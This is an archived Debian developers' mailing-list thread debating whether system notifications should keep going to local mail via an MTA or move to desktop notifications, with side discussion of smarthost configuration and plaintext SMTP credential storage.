There is an impedence mismatch between packages which consider an MTA and the
sendmail interface to be standard and those desktop components that make no
such assumption. If we are going to keep ensuring a local MTA/sendmail interface
going forward, I'd love to see it better integrated into the desktop stack. (In
fact I still battle debconf-stuff-on-top-of-exim from time to time, when I have
a system where I don't want any local mail.)

I don’t think desktop components lack integration with the MTA. For
example, evolution will use /usr/sbin/sendmail by default. The problem
is that usually, the MTA will not be configured to do anything useful,
so users are better off using an external SMTP server, usually with
authentication.

Also, a *lot* of mail servers, including those of Debian developers are
rejecting mails on some stupid basis (like reverse DNS doesn't match
EHLO[1], EHLO host not found, some f*ckwit RBL decided that since you're
on a DSL IP range, you're a spammer, lack of a reverse DNS record at
all[2], etc.), effectively rejecting mails that don't go through an ISP
external SMTP server. Running your own MTA without a smart host is a
PITA these days. So you're better off using an external SMTP server
directly.

Mike

1. alioth lists do that, now.
2. thanks to ipv6.

[Thomas Goirand]

Post by Mike Hommey
Running your own MTA without a smart host is a
PITA these days. So you're better off using an external SMTP server
directly.

I agree. Which is why postfix can be configured for that:

# cat /etc/postfix/main.cf
[ ... ]
relayhost = mx.example.com
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/saslpw
smtp_sasl_security_options =
[ ... ]

# cat /etc/postfix/saslpw
mx.example.com ***@example.com:MySuPeRpAsS

Isn't this what the smarthost option of postfix does (I do this by
hand)? If we don't have it, it'd be easy to implement anyway.

Thomas

[Sune Vuorela]

I think most full-blown mta's can do that. But the much smaller ones can
also.

/Sune

[Bjørn Mork]

Post by Josselin Mouette

Post by Jonathan Dowland
There is an impedence mismatch between packages which consider an MTA and the
sendmail interface to be standard and those desktop components that make no
such assumption. If we are going to keep ensuring a local MTA/sendmail interface
going forward, I'd love to see it better integrated into the desktop stack. (In
fact I still battle debconf-stuff-on-top-of-exim from time to time, when I have
a system where I don't want any local mail.)

I don’t think desktop components lack integration with the MTA. For
example, evolution will use /usr/sbin/sendmail by default. The problem
is that usually, the MTA will not be configured to do anything useful,

Moving the configuration from 1 package providing the MTA to N packages
is certainly not going to improve this...

Post by Josselin Mouette
so users are better off using an external SMTP server, usually with
authentication.

In what why does a local MTA prevent that?

The local MTA serves as a common configuration for the external SMTP
server, with a well known interface supported by every single package
which wants to send mail.

I don't see the point discussing this at all until there is an
alternative interface with a similar level of support. Otherwise you
are just going to repeat the MIME support mess again.


Bjørn

[Josselin Mouette]

Post by Bjørn Mork
The local MTA serves as a common configuration for the external SMTP
server, with a well known interface supported by every single package
which wants to send mail.

Which packages are entitled to send mail to the outside without
configuration from the sysadmin, exactly?

We are talking about a default configuration, and the only useful thing
in a default configuration is local mail. Local mail not being read by
anyone on most machines.

Post by Bjørn Mork
I don't see the point discussing this at all until there is an
alternative interface with a similar level of support. Otherwise you
are just going to repeat the MIME support mess again.

Just like for the MIME support mess, the damage is already done. Nobody,
I repeat, nobody, ever reads local mail on most desktop systems, and
even many server systems. For desktops, we need to rely on direct user
notification. For servers, careful people rely on real-time monitoring.

Local mail is a quick solution for persistent notification of the system
administrator, but it doesn’t scale at all when you have more than 3
machines under your control.

I don’t think the situation is that bad. We could probably work on
alternative notification systems for cron jobs, but for the other
important use cases of local mail, we already have what we need.

Cheers,
--
.''`. Josselin Mouette
: :' :
`. `'
`-

[Adam Borowski]

Post by Josselin Mouette

Post by Bjørn Mork
The local MTA serves as a common configuration for the external SMTP
server, with a well known interface supported by every single package
which wants to send mail.

Which packages are entitled to send mail to the outside without
configuration from the sysadmin, exactly?
We are talking about a default configuration, and the only useful thing
in a default configuration is local mail. Local mail not being read by
anyone on most machines.

If you don't read it, you get a reminder every login.

If some environment fails to pass it in its default config, that's the
environment's rather than user's fault.

[Nick Andrik]

Post by Adam Borowski
If you don't read it, you get a reminder every login.

If you login in command line, which is not the default case for desktop systems.

--
=Do-
N.AND

[Thibaut Paumard]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Hi,

Post by Adam Borowski

Post by Josselin Mouette
We are talking about a default configuration, and the only useful
thing in a default configuration is local mail. Local mail not
being read by anyone on most machines.

If you don't read it, you get a reminder every login.

I was going to say that by default, this mail was sent to root, but
checked before I typed and... what? I do have unread local mail!? Just
to say: at the moment, there's no obvious notification about local mail.

In addition, it is not straightforward to read local mail, especially
if you are used to reading you mail only via some webmail interface
(which is more and more common).

We could imagine running a simple biff applet by default in every
desktop interface, and clicking it could trigger a simple mail reader,
configured for local mail.

Kind regards, Thibaut.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQIcBAEBCAAGBQJRpNQXAAoJEJOUU0jg3ChAe6kP/iodkPyi+j9tVDoO6fFX5feJ
gnIrlETxGdx1sQUWweZAW75dt0R0LO01PENmna0MeF0p9X1/gOwQbLoE/SVq7mbQ
uK7XepHC555ssRyA2ipyRZpWnwF0/VJeMF8tIcDNNTGN2HRbufzrkjY3MslQzwJ6
DsOcuEqno79C7/AyBorR9HScz+vMgdf19K1gYmppbHdFKt0nAVZ1Otd2PGTCRN5m
+HAJJUZ5ykoaodg66EYLoVRETcW/vOxeMRH0JHBnQ0Yk0Jp/J5UeAfMAyE2rRdFn
Ds0/0EVoN3MvD7QyQbY/fyBqOn5UyXEeaL8+PHStYGerqoSStgfVOkD/zsK0iviM
rydKK2hvblthD2Flw/lvIga3/KZ8WVrW6KdGKxjXeX1wfUQK1b0hGCwj+geB8Tpe
5u7edBJ0gIz9iZe1pVUu2ZlAoDsoXXh2ZyzTxNjksGfdyYtKR2jKP5TnVNkthXpL
TnjB2QhgaqtCyckhNVi62hO0MxtShZxV/Hl6WzbumKLr5A6wqJ2xd2V2Nhj99liv
1HR0DJBJBSB9ars6kKho++NPHxrSVjzTwlcHnuNZoj+2+jUVj0xvGoBCWYA/uVNB
yyBvYlWayHoFhbm/ZJouUVY1IFmLcX9dtflk0iEFou6QXBY3kt4o8CD7W1gwt5Zf
sL88m1H/2pqoLS/6PLVF
=3urK
-----END PGP SIGNATURE-----

[Adam Borowski]

Post by Thibaut Paumard
I was going to say that by default, this mail was sent to root, but
checked before I typed and... what? I do have unread local mail!? Just
to say: at the moment, there's no obvious notification about local mail.
In addition, it is not straightforward to read local mail, especially
if you are used to reading you mail only via some webmail interface
(which is more and more common).
We could imagine running a simple biff applet by default in every
desktop interface, and clicking it could trigger a simple mail reader,
configured for local mail.

Why would we multiply entities without necessity? Desktop environments
install mail clients by default, they just should come configured to have
local mail among the accounts.

Most graphical clients can do this:

http://askubuntu.com/questions/192572/how-read-local-email-in-thunderbird
http://askubuntu.com/questions/21695/how-can-i-set-up-evolution-to-access-a-local-mail-box

so that's enough for a biff and a reader.

[Thibaut Paumard]

Post by Adam Borowski

Post by Thibaut Paumard
We could imagine running a simple biff applet by default in every
desktop interface, and clicking it could trigger a simple mail reader,
configured for local mail.

Why would we multiply entities without necessity? Desktop environments
install mail clients by default, they just should come configured to have
local mail among the accounts.

Hi,

This would do most of the job, indeed, but not all: you still have to
run a mailreader, which webmail-only users don't.

A dedicated, simple, read-only, local-only mail reader could tell the
user that this mailbox usually contains system warnings and point them
to where to look for help if they don't understand them.

With a dedicated package, we can also try to configure (automatically of
via debconf) local mail forwarding in case of a server installation.

But your proposal looks so much simpler that it's probably the way to go.

Kind regards, Thibaut.

[Игорь Пашев]

Post by Josselin Mouette
Nobody,
I repeat, nobody, ever reads local mail on most desktop systems

I read mail from my desktop :-)
It is forwarded to my gmail account

[Matthias Klumpp]

Post by Josselin Mouette
Nobody,
I repeat, nobody, ever reads local mail on most desktop systems

[...]

Would it help if we had a desktop-component, which is able to:
1) Show a notification *on the desktop* if the user received new mail
2) Offer a GUI way to read system mails
3) Offer a way to delete these mails
The advantage would be that these mails would be read more often,
while on a system configured for desktop-use, no such mails would be
send, so the users wouldn't be bothered with it.
Cheers,
Matthias

[Tzafrir Cohen]

Post by Matthias Klumpp

Post by Josselin Mouette
Nobody,
I repeat, nobody, ever reads local mail on most desktop systems

[...]

1) Show a notification *on the desktop* if the user received new mail
2) Offer a GUI way to read system mails
3) Offer a way to delete these mails
The advantage would be that these mails would be read more often,
while on a system configured for desktop-use, no such mails would be
send, so the users wouldn't be bothered with it.
Cheers,
Matthias

Forwarding root's mail to all users in the group users. Then using the
standard mail clients (kmail, evolution or even mutt).
--
Tzafrir Cohen | ***@jabber.org | VIM is
http://tzafrir.org.il | | a Mutt's
***@cohens.org.il | | best
***@debian.org | | friend

[Thibaut Paumard]

Post by Tzafrir Cohen
Forwarding root's mail to all users in the group users. Then using the
standard mail clients (kmail, evolution or even mutt).

Hi,

1- Not every user should be permitted to read root's mail by default.
2- Why force everyone in the staff to read the same mail and delete it?

Making all people allowed to read root's mail part of the mail group
would work, but it would also enable them to read (and write) local mail
for any other user. A dedicated interface, on the other hand, can
authorize admins to read and delete root's mail without giving them too
much privileges.

Regards, Thibaut.

[Salvo Tomaselli]

Post by Tzafrir Cohen
Forwarding root's mail to all users in the group users. Then using the
standard mail clients (kmail, evolution or even mutt).

What is wrong with setting an alias from root to the user configured during
installation?

[Javier Fernandez-Sanguino]

Post by Matthias Klumpp
1) Show a notification *on the desktop* if the user received new mail
2) Offer a GUI way to read system mails
3) Offer a way to delete these mails

Instead of adding *another* desktop component. Wouldn't it be better
to have the "standard" desktop e-mail reader [0] configured to read
local e-mail from the start?

Since the e-mail reader would be already nicely integrated into the
Desktop it already provides 1, 2 and 3.

Post by Matthias Klumpp
The advantage would be that these mails would be read more often,
while on a system configured for desktop-use, no such mails would be
send, so the users wouldn't be bothered with it.

I agree that we need to expose local e-mail more. Even end-users might
install some tools and will not receive any notification from them
unless they have their desktop e-mail client configured to read local
e-mail.

Take for example, smartmoontools [1]. Currently, if an end-user
installs smartmoontools and a hard-disk fails (i.e. smartd detects a
problem with one HD) he will *not* see any notification: the failure
is sent through local e-mail.


Regards

Javier

[0] Is there such a thing? ;-)

[1] I'm picking this package since it is installed by ~24% of the
systems reporting to popcon. Which, on a quick review, seems to be
higher than other tools using cron and reporting through e-mail.

The popcon stats do not tell me whether the systems with, e.g. gnome,
installed have also smartmoontools installed, but let's make the
assumption that some do :)

[Josselin Mouette]

Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a

Post by Javier Fernandez-Sanguino
Take for example, smartmoontools [1]. Currently, if an end-user
installs smartmoontools and a hard-disk fails (i.e. smartd detects a
problem with one HD) he will *not* see any notification: the failure
is sent through local e-mail.

He will see a notification on his desktop. Clear, understandable and
translated in his configured language:
https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
(The code is different but already here in squeeze and wheezy.)

I don’t see why he would need to see it again in a cryptic English
e-mail. You are really looking for a solution to a nonexistent problem.

Cheers,
--
.''`. Josselin Mouette
: :' :
`. `'
`-

[Javier Fernandez-Sanguino]

Post by Josselin Mouette
Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a
He will see a notification on his desktop. Clear, understandable and
https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
(The code is different but already here in squeeze and wheezy.)

I'm happy to see this use case is covered in GNOME.

Post by Josselin Mouette
I don’t see why he would need to see it again in a cryptic English
e-mail. You are really looking for a solution to a nonexistent problem.

Smartmontools is not the only tool that uses sendmail to send alert to
the "user". The problem still exists, even if the example I provided
has already been fixed for, at least, GNOME users. (I wonder whether
similar code is there for KDE or Xfce users)

Regards

Javier

[Thomas Goirand]

Post by Javier Fernandez-Sanguino

Post by Josselin Mouette
Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a
He will see a notification on his desktop. Clear, understandable and
https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
(The code is different but already here in squeeze and wheezy.)

I'm happy to see this use case is covered in GNOME.

Me as well.

Though not everyone uses GNOME (someone pointed out earlier in this list
that we have more than 40 window managers in Debian!), and it is
desirable, IMO, to also handle their use case.

Thomas

[Marc Haber]

Post by Thomas Goirand

Post by Javier Fernandez-Sanguino

Post by Josselin Mouette
Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a
He will see a notification on his desktop. Clear, understandable and
https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
(The code is different but already here in squeeze and wheezy.)

I'm happy to see this use case is covered in GNOME.

Me as well.
Though not everyone uses GNOME (someone pointed out earlier in this list
that we have more than 40 window managers in Debian!), and it is
desirable, IMO, to also handle their use case.

I think that people who are able to replace the default desktop with
the desktop of their choice should be trusted to read their local mail
as well. We may document this, but I don't think that we should spend
personpower to provide a technical solution to that. There are things
more important than that.

We should make local mail or other messages trivially and
automatically visible for people who have installed Debian in NNF[1]
compliant way, but if one has gone to length to use something
non-default, I think we can safely trust those people with taking
other measures as well.

Greetings
Marc

[1] Next, next, finish

[Wouter Verhelst]

Post by Marc Haber
We should make local mail or other messages trivially and
automatically visible for people who have installed Debian in NNF[1]
compliant way, but if one has gone to length to use something
non-default, I think we can safely trust those people with taking
other measures as well.

While that's true, if we're going to be make the effort to make sure
such notifications are "trivially and automatically" visibe for NNF
users, it would be a waste if we didn't do it in such a way that people
who make only the slightest of modifications could benefit from it as well.

If we're making something GNOME-specific, we don't do that. If we make
an application that fits into any fdo-compliant notification area, we do.

[Olav Vitters]

Post by Wouter Verhelst
If we're making something GNOME-specific, we don't do that. If we make
an application that fits into any fdo-compliant notification area, we do.

Within GNOME we usually create a freedesktop.org solution, then use that
within GNOME. This is how udisks works. A large generic part, then
another GNOME-specific component.

Seems the solutions are very focussed on the assumption that things
cannot be changed. E.g. programs currently send email, so email it has
to be forever.

[Wouter Verhelst]

Post by Olav Vitters

Post by Wouter Verhelst
If we're making something GNOME-specific, we don't do that. If we make
an application that fits into any fdo-compliant notification area, we do.

Within GNOME we usually create a freedesktop.org solution, then use that
within GNOME. This is how udisks works. A large generic part, then
another GNOME-specific component.

Sure.

Post by Olav Vitters
Seems the solutions are very focussed on the assumption that things
cannot be changed. E.g. programs currently send email, so email it has
to be forever.

No, that's not how I interpret the discussion.

Doing important notifications through mail only means that many people
won't see the important notifications due to the way we handle mail by
default currently. So we need to fix that.

However, the mail approach does have certain upsides for large
installations and multi-user systems:
- Regular users can't always see what's in syslog, so getting the output
of their cron or at jobs there won't help them.
- For the things that really really matter, it makes sense to have them
sent to a central "root" mail address, so that in case of a large
multi-system installation, the sysadmin knows when things go really
really wrong.

If we configure things so that root mail gets sent to the user that was
created at install time by default, and then install some fdo
notification thing that allows a user to read and mark read or delete
(or both) mails in their local mailbox by default, that should work for
both use cases.

[Marc Haber]

Post by Olav Vitters
Seems the solutions are very focussed on the assumption that things
cannot be changed. E.g. programs currently send email, so email it has
to be forever.

It is not a good idea to drop the way that > 90 % of programs use to
deliver messages. I really hate the idea of having a thing as fragile
as dbus on a server just to collect status messages.

Greetings
Marc

[Marc Haber]

On Thu, 30 May 2013 13:31:14 +0200, Wouter Verhelst

Post by Wouter Verhelst

Post by Marc Haber
We should make local mail or other messages trivially and
automatically visible for people who have installed Debian in NNF[1]
compliant way, but if one has gone to length to use something
non-default, I think we can safely trust those people with taking
other measures as well.

While that's true, if we're going to be make the effort to make sure
such notifications are "trivially and automatically" visibe for NNF
users, it would be a waste if we didn't do it in such a way that people
who make only the slightest of modifications could benefit from it as well.
If we're making something GNOME-specific, we don't do that. If we make
an application that fits into any fdo-compliant notification area, we do.

I am with you on that count, provided that what we do does not eat too
much effort that we might desperately need somewhere else.

And from the requirement list for the solution of displaying those
messages that has surfaced in this thread, I feel that "a mail client"
is just the right tool do show the messages.

Greetings
Marc

[Adam Borowski]

Post by Josselin Mouette
Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a

Post by Javier Fernandez-Sanguino
Take for example, smartmoontools [1]. Currently, if an end-user
installs smartmoontools and a hard-disk fails (i.e. smartd detects a
problem with one HD) he will *not* see any notification: the failure
is sent through local e-mail.

He will see a notification on his desktop. Clear, understandable and
https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
(The code is different but already here in squeeze and wheezy.)

What you propose requires:
* adding desktop environment specific code to every facility that may need
to send notifications
* adding such notifications to every other desktop environment
* coming up with a way to send such notifications remotely

All of that is already solved by e-mail.

Post by Josselin Mouette
I don’t see why he would need to see it again in a cryptic English
e-mail.

Messages can be translated, you know.

Post by Josselin Mouette
You are really looking for a solution to a nonexistent problem.

I wouldn't call important system messages not getting delivered a
nonexistant problem -- this tends to end up with serious data loss. And the
solution exists for > 30 years, there's no point in NIH alternatives.

[Russ Allbery]

Post by Adam Borowski
* adding desktop environment specific code to every facility that may need
to send notifications
* adding such notifications to every other desktop environment
* coming up with a way to send such notifications remotely
All of that is already solved by e-mail.

Except it's *not* solved by email because the email doesn't go anywhere
useful for many users. I'm a fairly sophisticated UNIX user and I have
still had failures that I didn't know about for months because I had some
problem with my nullmailer configuration, usually because I set it up once
and never thought to check it again when something about my upstream SMTP
server changed. I never read mail or see any local mail on most of my
systems; I only read mail from one place. And that's from someone who
knows enough to set up nullmailer and direct the mail somewhere hopefully
useful in the first place.

Add to that the authenticated SMTP problem (IMO, storing user passwords in
an unencrypted system configuration file is simply wrong from a security
standpoint and should never be done) and I really question whether email
notifications are this panacea that you perceive.

This is also not how any other end-user system works. If there's some
problem, the (quite reasonable) end user expectation is that the system
tells you via some more direct method.

Having email as an option is mandatory for servers and for sophisticated
users, but for a desktop configuration I agree that some other
notification method would be quite desirable and much better-suited to the
needs of the typical desktop user. It does need to have certain
properties that I'm not sure the current notifications have, such as
persistence until acknowledgement and the ability to handle cron errors,
but those seem like good things for us to work on.

Post by Adam Borowski
I wouldn't call important system messages not getting delivered a
nonexistant problem -- this tends to end up with serious data loss.

That's exactly the point, and is why I would prefer not to write those
notifications into a file that no one ever looks at. (Which is why I
don't find sending them to syslog much more appealing, since the average
desktop user is never going to look there either.)

[Chris Knadle]

Post by Russ Allbery

Post by Adam Borowski
* adding desktop environment specific code to every facility that may need
to send notifications
* adding such notifications to every other desktop environment
* coming up with a way to send such notifications remotely
All of that is already solved by e-mail.

Except it's *not* solved by email because the email doesn't go anywhere
useful for many users.

Yes, unfortunately. :-/

...

Post by Russ Allbery
Add to that the authenticated SMTP problem (IMO, storing user passwords in
an unencrypted system configuration file is simply wrong from a security
standpoint and should never be done)

For Exim I've been setting up a separate SMTP AUTH login for each machine so
that these logins are separate from "real" user logins and can be individually
revoked if needed. I don't like the fact that the /etc/exim4/passwd.client
file is in a plaintext format, but there are usually several such files on
systems such that realistically we're only really "safe" as long as the
machines we run haven't been broken into.

Post by Russ Allbery
This is also not how any other end-user system works. If there's some
problem, the (quite reasonable) end user expectation is that the system
tells you via some more direct method.
Having email as an option is mandatory for servers and for sophisticated
users, but for a desktop configuration I agree that some other
notification method would be quite desirable and much better-suited to the
needs of the typical desktop user. It does need to have certain
properties that I'm not sure the current notifications have, such as
persistence until acknowledgement and the ability to handle cron errors,
but those seem like good things for us to work on.

The other issue is that email is persistent past first reading of the message
such that they it can be referred to later, but Desktop notifications don't
seem to operate that way.

As such Desktop notifications and email notifications contain different types
of notifications, at least in my experience. [A notification of "this window
has crashed and will be closed" isn't very useful in email, and a several
paragraph explanation from apt-listbugs concerning package configuration
changes doesn't make much sense as a Desktop notification.]

Post by Russ Allbery

Post by Adam Borowski
I wouldn't call important system messages not getting delivered a
nonexistant problem -- this tends to end up with serious data loss.

That's exactly the point, and is why I would prefer not to write those
notifications into a file that no one ever looks at. (Which is why I
don't find sending them to syslog much more appealing, since the average
desktop user is never going to look there either.)

Somehow this problem reminds me of the "event log" used on "a popular
operating system". Most users don't read that log either.

-- Chris

--
Chris Knadle
***@coredump.us
GPG Key: 4096R/0x1E759A726A9FDD74

[Russ Allbery]

Post by Chris Knadle

Post by Russ Allbery
That's exactly the point, and is why I would prefer not to write those
notifications into a file that no one ever looks at. (Which is why I
don't find sending them to syslog much more appealing, since the
average desktop user is never going to look there either.)

Somehow this problem reminds me of the "event log" used on "a popular
operating system". Most users don't read that log either.

Yes, but what users *do* read is some sort of event log that throws an
attention icon (or spawns a window) on login or on event that doesn't go
away until the user looks through the messages.

I know we probably don't have something like this right now, but it's
something that can be done, and would be much superior to email for a lot
of users (including myself on a lot of systems).

One could easily solve the persistent problem in a similar way if a
history of such notifications were kept and could be retrieved by the user
by manually launching the application.

None of this seems particularly novel (we've written similar things at
Stanford for managed desktop situations and deployed commercial products
that do something similar, not to mention that it's how most anti-virus
updators and now the OS patch updators work), which makes me wonder if
someone is already working on (or has finished) a mechanism of corraling
some desktop notifications into that sort of framework.

Basically, what we're looking for here is the equivalent of a check engine
light (except, of course, with better user-visible diagnostics available).
That's what the end user actually wants: something clear and visible
indicating that something is wrong, which they can drill down and see the
details and dismiss the error condition if they want, or have all the
details available to consult someone who knows more about computers if
they don't know what to do with it themselves. Historically, root cron
mail has been exactly that, and that's still a great way of handling it
for servers, since that mail can be sent off somewhere centrally, analyzed
and assigned to sysadmins, used to open internal trouble tickets, etc.
But increasingly desktop users are just not thinking about their computer
as something that sends them mail, nor is there a good mechanism in place
most of the time for the computer to do so effectively.

[Marc Haber]

On Wed, 29 May 2013 19:45:06 -0400, Chris Knadle

Post by Chris Knadle
I don't like the fact that the /etc/exim4/passwd.client
file is in a plaintext format, but there are usually several such files on
systems such that realistically we're only really "safe" as long as the
machines we run haven't been broken into.

And if you think about things, it is clear that the client needs the
plaintext password to be able to use it.

Even if certificate authentication, the most secure authentication
scheme available today, is used, you need the private key on the
client.

Post by Chris Knadle

Post by Russ Allbery
That's exactly the point, and is why I would prefer not to write those
notifications into a file that no one ever looks at. (Which is why I
don't find sending them to syslog much more appealing, since the average
desktop user is never going to look there either.)

Somehow this problem reminds me of the "event log" used on "a popular
operating system". Most users don't read that log either.

This is partly caused by the utter unusability of the default program
delivered to read that binary log. Even the best Jvaqbjf people I know
need to be poked to use Rirag Ivrjre. Usually, this results in a quick
solution since the Jvaqbjf Event Log isn't as bad as its reputation
past the usual access method. But people rather continue blind
trial-and-error methods before taking a look at their logs.

Btw, I fear that systemd's binary logs are going to import this method
of inefficient work in our world. I surely hope I am wrong on this
count.

Greetings
Marc

[Olav Vitters]

Post by Marc Haber
Btw, I fear that systemd's binary logs are going to import this method
of inefficient work in our world. I surely hope I am wrong on this
count.

journalctl gives pretty much exactly the same output as
/var/log/messages and so on. As a side-benefit, instead of using grep,
it indexes various things so you can more quickly filter.

For most use caes though, the switch is rather easy:
journalctl | grep something
vs
grep something /var/log/messages

and
journalctl -f
vs
tail -f /var/log/messages

So if you don't want to know anything, you don't need to know much.
Further, you can keep another syslog running.

In any case, journal is quite efficient.

[Russ Allbery]

Post by Marc Haber

I don't like the fact that the /etc/exim4/passwd.client file is in a
plaintext format, but there are usually several such files on systems
such that realistically we're only really "safe" as long as the
machines we run haven't been broken into.

And if you think about things, it is clear that the client needs the
plaintext password to be able to use it.
Even if certificate authentication, the most secure authentication
scheme available today, is used, you need the private key on the
client.

Which is why sending mail as a system service when doing so requires a
user's ISP credentials is a dubious idea. If you send it from a user
process, such as their mail client, you have sophisticated credential
management capabilities available to you: everything from prompting to
using a system keyring that's only decrypted when they're sitting in front
of the computer. If you insist on giving your system processes the
ability to authenticate as you, you end up storing random clear-text
passwords in configuration files, readily available for theft by anyone
who can read the contents of your hard drive or compromise the system user
the MTA runs as. It's also a separation of privileges violation: why
should your MTA be able to upload files to your web space or examine your
billing and credit card information at your ISP?

The situation is, of course, much improved if your ISP supports
per-service or per-client passwords, like Google now does, at which point
the password isn't as valuable and the security problem is less worrisome.

You can also ameliorate the problem by using an encrypted file system, of
course. But I doubt most users are doing that, and it still doesn't solve
the separation of privileges issue.

[Ben Hutchings]

Post by Adam Borowski

Post by Josselin Mouette
Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a

Post by Javier Fernandez-Sanguino
Take for example, smartmoontools [1]. Currently, if an end-user
installs smartmoontools and a hard-disk fails (i.e. smartd detects a
problem with one HD) he will *not* see any notification: the failure
is sent through local e-mail.

He will see a notification on his desktop. Clear, understandable and
https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
(The code is different but already here in squeeze and wheezy.)

* adding desktop environment specific code to every facility that may need
to send notifications
* adding such notifications to every other desktop environment

Wrong, we already have org.freedesktop.Notifications in GNOME,
KDE and Xfce. So those two points become:

* adding cross-desktop code to every facility that may need to send
notifications
* adding a notification daemon to task-lxde

There are libraries to help with the first point, of course.

Post by Adam Borowski
* coming up with a way to send such notifications remotely
All of that is already solved by e-mail.

[...]

Except the bit where users actually see the messages.

(For what it's worth, I'm quite happy to receive notifications by mail
and I configure forwarding to a smarthost, but it's currently not as
easy as it should be to do that and make it secure.)

Ben.
--
Ben Hutchings
We get into the habit of living before acquiring the habit of thinking.
- Albert Camus

[Bjørn Mork]

Post by Ben Hutchings

Post by Adam Borowski

Post by Josselin Mouette
Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a

Post by Javier Fernandez-Sanguino
Take for example, smartmoontools [1]. Currently, if an end-user
installs smartmoontools and a hard-disk fails (i.e. smartd detects a
problem with one HD) he will *not* see any notification: the failure
is sent through local e-mail.

He will see a notification on his desktop. Clear, understandable and
https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
(The code is different but already here in squeeze and wheezy.)

* adding desktop environment specific code to every facility that may need
to send notifications
* adding such notifications to every other desktop environment

Wrong, we already have org.freedesktop.Notifications in GNOME,
KDE and Xfce.
* adding cross-desktop code to every facility that may need to send
notifications
* adding a notification daemon to task-lxde
There are libraries to help with the first point, of course.

Wouldn't a daemon watching /var/mail/root and turning any mail into
desktop notifications solve most of this, while still allowing the same
notifications to reach a sysadmin on non-desktop systems?

The issue that worries me most about these desktop notification plans is
the possibility that some package may decide to unnecessarily drop
support for non-desktop systems, adding dependencies on the desktop
notification system. I believe we already have had a few examples of
such unnecessary dependencies on services which are "nice to have", like
GNOME depending on NetworkManager for example.

The "Clear, understandable and translated in his configured language"
point is unrelated the notification system. That requirement should be
at least as strict for any mail to root.


Bjørn

[Scott Kitterman]

Post by Josselin Mouette
Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a

Post by Javier Fernandez-Sanguino
Take for example, smartmoontools [1]. Currently, if an end-user
installs smartmoontools and a hard-disk fails (i.e. smartd detects a
problem with one HD) he will *not* see any notification: the failure
is sent through local e-mail.

He will see a notification on his desktop. Clear, understandable and
https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor
.c (The code is different but already here in squeeze and wheezy.)
I don’t see why he would need to see it again in a cryptic English
e-mail. You are really looking for a solution to a nonexistent problem.

Desktop notifications are really only useful for informing the user of things
as they happen. If the user doesn't happen to be sitting at the screen when
the notification happens, they'll never know. Even if they are using a system
that allows them to go back and review their notification history when they
return to their system, that's not the normal usage pattern.

Desktop notifications are no more a complete solution to the problem of letting
the user know than local mail is.

Scott K

[Marc Haber]

On Thu, 30 May 2013 06:46:46 -0400, Scott Kitterman

Post by Scott Kitterman
Even if they are using a system
that allows them to go back and review their notification history when they
return to their system,

It just occurred to me that you are describing a mail client.

Greetings
Marc

[Olav Vitters]

Post by Marc Haber
On Thu, 30 May 2013 06:46:46 -0400, Scott Kitterman

Post by Scott Kitterman
Even if they are using a system
that allows them to go back and review their notification history when they
return to their system,

It just occurred to me that you are describing a mail client.

Suggest receiving nagios notifications via email. Sometimes when you're
busy your inbox is overloaded with stuff that is already up. Email is
one way of getting notifications, but for desktop things, it is rather
imperfect. Would be kind of funny to receive an email notification via
email though :P

[Bjørn Mork]

Post by Marc Haber
On Thu, 30 May 2013 06:46:46 -0400, Scott Kitterman

Post by Scott Kitterman
Even if they are using a system
that allows them to go back and review their notification history when they
return to their system,

It just occurred to me that you are describing a mail client.

Let's add biff and we have cross-desktop real-time notification in place
:)


Bjørn

[Matthias Klumpp]

Post by Javier Fernandez-Sanguino

Post by Matthias Klumpp
1) Show a notification *on the desktop* if the user received new mail
2) Offer a GUI way to read system mails
3) Offer a way to delete these mails

Instead of adding *another* desktop component. Wouldn't it be better
to have the "standard" desktop e-mail reader [0] configured to read
local e-mail from the start?
Since the e-mail reader would be already nicely integrated into the
Desktop it already provides 1, 2 and 3.

Yes, if there is one, it should be used. But I was thinking that
receiving local mail in their mail clients from their own system might
be very confusing to users, because they are used to the fact that the
system shows them notifications *on the desktop*, instead of writing
them mails. Also, there might be the case where no local mail reader
exists, because users prefer to read mails in a webmailer, for
example.
Cheers,
Matthias

[Javier Fernandez-Sanguino]

Post by Matthias Klumpp

Post by Javier Fernandez-Sanguino

Post by Matthias Klumpp
1) Show a notification *on the desktop* if the user received new mail
2) Offer a GUI way to read system mails
3) Offer a way to delete these mails

Instead of adding *another* desktop component. Wouldn't it be better
to have the "standard" desktop e-mail reader [0] configured to read
local e-mail from the start?
Since the e-mail reader would be already nicely integrated into the
Desktop it already provides 1, 2 and 3.

Yes, if there is one, it should be used. But I was thinking that
receiving local mail in their mail clients from their own system might
be very confusing to users, because they are used to the fact that the
system shows them notifications *on the desktop*, instead of writing
them mails. Also, there might be the case where no local mail reader
exists, because users prefer to read mails in a webmailer, for
example.

I agree that desktop notification is the way to go, but while we get
there the local mail in their mail clients is the best option we have.
Certainly best than not getting any notification at all.

The "no local mail reader" installed case is not a common case, since
users installing a default desktop will get it. IMHO we should strive
to fix the issue in the default installation (regardless of desktop
selected).

Best regards

Javier

[Andrei POPESCU]

Post by Javier Fernandez-Sanguino
The "no local mail reader" installed case is not a common case, since
users installing a default desktop will get it.

... but never start it if they think (like so many users now) that
e-mail == webmail.

